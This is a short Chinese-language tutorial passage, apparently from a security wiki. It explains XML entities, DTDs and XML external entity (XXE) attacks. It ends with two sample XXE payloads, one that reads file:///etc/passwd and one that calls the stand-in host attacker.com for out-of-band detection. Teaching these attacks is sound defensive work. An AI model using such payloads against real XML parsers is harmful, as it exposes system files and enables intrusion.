最后更新于
最后更新于
XML是一种为数据存储和传输而设计的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与HTML不同,不受限于一组预定义标签。尽管XML最初在AJAX技术中起着重要作用,但随着JSON的兴起,其重要性已经下降。
通过实体表示数据:XML中的实体使数据的表示成为可能,包括特殊字符如<
和>
,它们分别对应于<
和>
,以避免与XML的标签系统发生冲突。
定义XML元素:XML允许定义元素类型,概述元素应该如何结构化以及它们可以包含的内容,从任何类型的内容到特定子元素。
文档类型定义(DTD):DTD在XML中至关重要,用于定义文档的结构和其可以包含的数据类型。它们可以是内部的、外部的或两者结合,指导文档的格式化和验证方式。
自定义和外部实体:XML支持在DTD中创建自定义实体,以灵活表示数据。使用URL定义的外部实体在安全方面存在问题,特别是在XML外部实体(XXE)攻击的背景下,这些攻击利用XML解析器处理外部数据源的方式:<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
使用参数实体检测XXE:为了检测XXE漏洞,特别是当传统方法由于解析器安全措施而失败时,可以利用XML参数实体。这些实体允许使用带外检测技术,例如触发DNS查找或向受控域发送HTTP请求,以确认漏洞。
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>